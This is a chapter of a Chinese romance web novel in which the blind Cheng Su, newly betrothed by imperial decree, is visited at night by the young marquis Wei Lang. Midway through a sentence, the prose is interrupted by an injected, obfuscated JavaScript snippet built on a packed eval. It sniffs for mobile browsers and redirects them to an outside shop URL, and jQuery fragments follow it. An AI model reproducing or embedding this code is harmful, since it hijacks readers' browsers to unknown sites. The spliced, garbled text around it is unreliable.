7. 第七章

作品:《明月旧曾谙

    自从那日卫琅在程府门口撞见了韩元清后,第二日他便派了五城兵马司的人来青槐巷附近把守,一发现韩元清的踪迹,就堵得严严实实的,硬是不让他接近。


    今日,他又让人送来一对山东的细犬,说是给程家看门护院用的。


    小檀笑道:“这小狗的腿又细又长,奴婢还是头一次见。”


    程素抬手抚过小细犬们缎子般光滑的皮毛,它们便亲亲热热地凑上来,将她的手心舔得湿漉漉的。


    她虽看不见,也能感受到它们的活泼热情。


    细犬名贵,长大后是上好的猎犬。这种狗虽然忠诚护主,不过性格这样亲人的也少见,想来挑它们的人也是花了番心思的。何况还不止这对小狗。


    这些天来,但凡有什么新鲜有趣好玩儿的,卫家隔三差五地往府上送。


    阖府上下都能看出,卫小侯爷哪里是不满意这桩婚事,只怕是满意过了头。


    最近这段日子,不只身边的人整日喜气洋洋,就连母亲也整个人放松下来,不仅咳嗽少了,说话的声音也轻快了许多,仿佛卸下了一桩重担。


    丫鬟们都在说,定是那日在亭中,小侯爷对她一见钟情,才会这般献殷勤。


    程素却觉得有些迷茫。


    她知道自己生得不算差,若再夸张一些,在世人眼里也许能称得上一句美人。可只凭匆匆几面,就能让那位长在锦绣堆里的小侯爷做到这般地步吗?


    若真是如此,也不知于她而言,究竟是福是祸。


    她一下一下地轻摸着幼犬的脑袋,微不可察地叹了口气。


    又过了两日,圣旨赐婚便下来了。


    接到圣旨,无疑让程家上下更加欢欣鼓舞。倘若之前卫家的态度已经让众人吃了颗定心丸,那圣旨赐婚无疑说明婚事已板上钉钉,再无更改的可能。


    就算侯府家大业大,要想背约,也需掂量圣旨的份量。更何况这圣旨还是侯府求来的,足见卫家对这桩婚事的重视。


    流程很快有条不紊地推进下去。


    下聘,交换庚帖,合生辰八字。


    婚期定在三个月后的秋日,云氏原本担忧准备不及,可听说是卫家特意请钦天监算过的良辰吉日,便不再犹豫,全心全意地准备起程素的嫁妆。


    她早年为女儿准备的那批妆奁,早在抄家时便散了,不过这两年来,母女二人南来北往经营生意,小有薄产。


    再加上卫老夫人疼惜程素,还特意给了她添妆,让她们不必为此忧心。


    不过想起当年攒下的家当,云氏还是难免惋惜,傍晚吃饭时,还在念叨着昔年压箱底的一整套红宝石头面。


    那是程素的外祖母传下来的,原本准备留给她出嫁时用的,可惜后来抄家时被官兵拿走了,不知流落到了哪里。


    提及往事,云氏难免感慨:“当年若是早早让你嫁出去了,你也不至于跟我们一同到岭南受罪。”


    她和夫君当初舍不得女儿早早嫁去韩家,总想再留她在家里待个一两年,却没想到后来会生出那些波折。


    程素摇头:“您这是说的什么话,若我当日嫁了,就不能陪在您身边了。”


    比起她嫁人后困在别家后宅,自己锦衣玉食,却眼看爹娘被流放受苦而无能为力,她倒情愿一家人一起去岭南。


    云氏拭泪道:“是,是娘说错了话,那韩家人本不值得托付,就是没有你父亲的事,他也是个靠不住的人,而我们素素的福气还在后头呢。”


    ……


    从母亲那里出来后,程素便一直有点心不在焉,只是她性情恬淡平静,就算偶有心神不定,外人也难以看出来。


    如此一来,一直到夜里吹灯睡下,角落里替她守夜的小檀很快呼吸渐沉,她却睁开了眼,望向头顶。


    眼前一片漆黑,没有任何光亮,这是她这五年来看惯了的景象。


    程素想,许是由于婚期已定,她心底还是有些说不清道不明的情绪,这小半个月以来一直心神不定。


    自己就要这样嫁人了吗?


    程素努力回想了一下当年自己想过要嫁入韩家时的心情,发现竟然已经回忆不起来了,无非是羞怯、欢喜等等。


    那时,她以为从小认识的竹马会是日后的良配,满心期待地等着出阁。


    如今想来已是恍如隔世。


    程家变故、自己眼盲之后,她就再没想过嫁人的事,无论怎么说,一个瞎子放在哪里都是累赘,正经人家不敢娶。


    就是她想留在母亲身边尽孝,也是反而让母亲为自己劳心伤神。


    所以,她听从了长辈们的安排,温顺地接受了这桩婚事。


    但对于日后如何,她心里并没有底。


    从这半年看下来,侯府那位老夫人和卫琅的弟妹都不是难以相处的人,她唯一没有接触过的,便只有那位小侯爷了。


    仅有的那两次照面里,她实在摸不准对方究竟是个什么性情。


    好在对方至少并不抵触她,至于究竟如何,只能她嫁过去以后慢慢摸清了。


    程素微阖双眸,在脑海中一点点做着日后的打算,不觉夜色流逝,直至突然听到有什么东西啪嗒打了一下窗子。夜里如此寂静,再细小的声音都格外清晰。


    她心里突地一跳,慢慢屏住了呼吸。


    外面似乎有人。


    没过一会儿,外面又传来同样的声响。她慢慢起身撩开帐子,凝神望向窗户所在的方向,侧耳再听,却又没有了别的动静,便以手作掩,放在唇边轻咳几声。


    守夜的小檀迷迷糊糊道:“姑娘,可是要喝水?”


    程素冷静道:“没事,你好好睡吧。”


    小檀放心地又沉沉睡过去。


    然而过了一阵,程素忽然又道:“小檀,我口渴了。”


    可小檀哪里还能听得到她的吩咐。


    到底是年纪小没经事,只要睡熟了便是天昏地暗,除非大动静不会醒。若今晚守夜的是白芷,就没有这样幸运了。


    程素起身披衣,凭着感觉蹑足走至窗边,推开其中一扇。饶是她的手脚再轻,动作再小心,还是在寂寂的夜里发出吱呀轻响,让她难得紧张起来。


    好在小檀仍是没醒,还在梦里咂咂嘴,不知道梦见了什么。


    程素停在窗边耐心等了一会儿,可院里只有晚风吹拂和草丛里的虫鸣声。她想了又想,轻声道:“更深露重,倘若侯爷无事,还是早早回去吧。”


    窗下终于传来了少年人讷讷的声音:“……你怎么知道是我?”


    程素忍不住想笑。


    其实她也说不上来为什么,只是直觉如此。若非贼盗,能做出半夜翻墙入户这等惊世骇俗之举的,她所认识的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999093|193938||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人里,恐怕只有这位卫小侯爷了。不过她也只是猜测,没想到竟然一猜就猜中了。


    她没有回答卫琅的问题,只是客气地问:“侯爷深夜造访,可是有什么事?”


    被她这样一问,卫琅终于想起来自己翻墙这件事有点出格,声音压得一低再低:“……我并非有意冒犯,也绝不是来做坏事的。只是我有事想当面和你说,只能出此下策,你……不要生气。”


    程素轻声道:“侯爷但说无妨。”


    这话又要从前头说起。


    当初,圣旨赐婚刚下来时,卫小侯爷很是得意过一阵儿的。


    可得意了没几天,他才发现,按照大周的风俗,男女定亲后直至婚前,两人都没法再见面,人瞬间就蔫了。


    这让他怎么跟素素培养感情?


    他也想过托人送信,可素素的眼看不见,那岂不是说,他写的什么丢人话不都要被不相干的人看去了?


    卫琅决不允许这种事发生。


    辗转反侧了大半个月,他才下定决心翻墙亲自来找人。


    他虽然偶尔行事放诞,可翻墙潜入女眷后院却也是头一遭。等找到程素所住的院子后,也不敢轻举妄动,只能大气也不敢喘地蹲在角落里听蟋蟀声。


    原本他也没打算今晚就能跟程素搭上话,只是试着丢了几颗石子,想看看里面的人是否睡熟了,没想到就听到屋里的说话声,吓得险些没翻墙逃跑。


    如今看来,好在他沉住气了。


    更好的是,素素冰雪聪明,一下子就猜到了是他,还特意出来跟他说话。


    想到这里,卫琅这才后知后觉地想起程素眼盲的事,想到她刚刚还不知是怎么自己一个人摸黑来到窗边的,不由得脱口而出:“你的眼……”


    程素道:“会好的。”


    卫琅啊了一声,一时竟然不知道怎么接话。


    程素主动解释:“这事说起来还要多谢侯爷,老夫人曾请过侯府的大夫为我诊治。当时那位老先生曾说,我的眼盲未伤及根本,只是中间耽搁了几年,延误了病情,再加上伤在要害之处,以他的医术,没有十足的把握。前些日子侯爷请了宫里的太医又来替我看过,太医们也说能治,只需等回头他们商量出个法子,便可以着手诊治了。”


    一听之前他请的太医竟然真的有用,卫琅高兴起来:“那真是再好不过了!”


    他的声音有些大,一出口便觉得不妥,程素也紧张起来,好在屋里的小檀睡得踏实,并未被吵醒。


    两人又互等了好一会儿,可谁也没再开口,还是程素主动问道:“侯爷此番前来,可还有别的事?”


    卫琅清了清嗓子,不自然道:“我、我来只是想问问,你愿不愿意嫁我。”


    原本他开口前还有些紧张和不好意思,可问出来后才忽然觉得周身一轻,连日以来心头莫名的躁动平复下来。


    他低头用脚尖碾弄着地上一颗石子,有点没话找话道:“嫁娶可是人生大事,以后的日子长着呢,总要你情我愿才是。我是想说……就算没有那圣旨,你也愿意嫁给我吧?反正……我肯定会待你好的,肯定比之前那个姓韩的狗东西要好。”


    他低头说着说着,不知不觉自己的耳朵也隐隐发热,不料窗前伫立的人却沉吟了一会儿,忽然问道:“侯爷可还是想问我跟那韩元清从前的事?”